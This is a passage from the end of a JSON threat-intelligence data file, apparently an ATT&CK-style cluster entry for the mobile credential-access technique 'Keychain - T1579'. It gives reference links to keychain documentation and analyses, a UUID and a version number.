"https://blog.elcomsoft.com/2018/12/six-ways-to-decrypt-iphone-passwords-from-the-keychain/",
"https://developer.apple.com/documentation/security/keychain_services",
"https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html"
]
},
"related": [],
"uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38",
"value": "Keychain - T1579"
}
],
"version": 22
}